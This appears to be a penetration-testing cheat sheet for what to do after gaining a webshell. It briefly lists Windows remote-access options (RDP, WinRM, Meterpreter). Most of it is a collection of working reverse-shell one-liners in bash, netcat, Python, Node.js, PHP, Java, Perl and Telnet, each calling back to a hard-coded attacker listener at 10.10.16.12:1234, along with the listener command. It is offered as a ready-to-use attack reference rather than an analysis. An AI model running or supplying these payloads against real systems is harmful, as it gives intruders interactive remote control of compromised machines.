After getting a Webshell,
Windows Machine:
- 3389: RDP
- 5985, 5986: WinRM
- Meterpreter: Msfvenom & multi/handler
Linux Machine:
- reverse shell
- bash, nc, telnet, python, perl, php, java, ruby, lua
Online Resource
Revshell
Shell check
- ShellCheck – shell script analysis tool
- explainshell.com - match command-line arguments to their help text
- shell.how - How this shell command works
Host
rlwrap -cAr nc -lvvp <port>
Bash
bash -c 'bash -i >& /dev/tcp/10.10.16.12/1234 0>&1'
0<&196;exec 196<>/dev/tcp/10.10.16.12/1234; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/10.10.16.12/1234;cat <&5 | while read line; do $line 2>&5 >&5; done
sh -i 5<> /dev/tcp/10.10.16.12/1234 0<&5 1>&5 2>&5
sh -i >& /dev/udp/10.10.16.12/1234 0>&1
nc
nc 10.10.16.12 1234 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.12 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc -u 10.10.16.12 1234 >/tmp/f
Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.12",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Node.js
require('child_process').exec('nc -e sh 10.10.16.12 1234')
PHP
php -r '$sock=fsockopen("10.10.16.12",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
Java
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.16.12/1234 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Perl
perl -e 'use Socket;$i="10.10.16.12";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
Telnet
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.16.12 1234 0<$TF | sh 1>$TF